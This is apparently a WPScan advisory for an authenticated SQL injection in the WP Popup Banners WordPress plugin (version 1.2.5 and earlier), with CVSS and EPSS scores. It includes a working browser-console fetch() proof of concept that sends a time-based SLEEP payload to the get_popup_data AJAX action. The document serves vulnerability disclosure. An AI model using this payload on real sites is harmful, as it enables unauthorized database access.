WpvulndbWPEX-ID:C3F6770E-DE15-41C2-843B-D0AE55AD6418WP Popup Banners <= 1.2.5 - Subscriber+ SQLi
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
16.8%
The plugin does not properly sanitise and escape the value parameter before using it in a SQL statement via the get_popup_data AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber
Run the below command in the developer console of the web browser while being on the blog as subscriber user
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": 'action=get_popup_data&value=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)',
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));Related
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
16.8%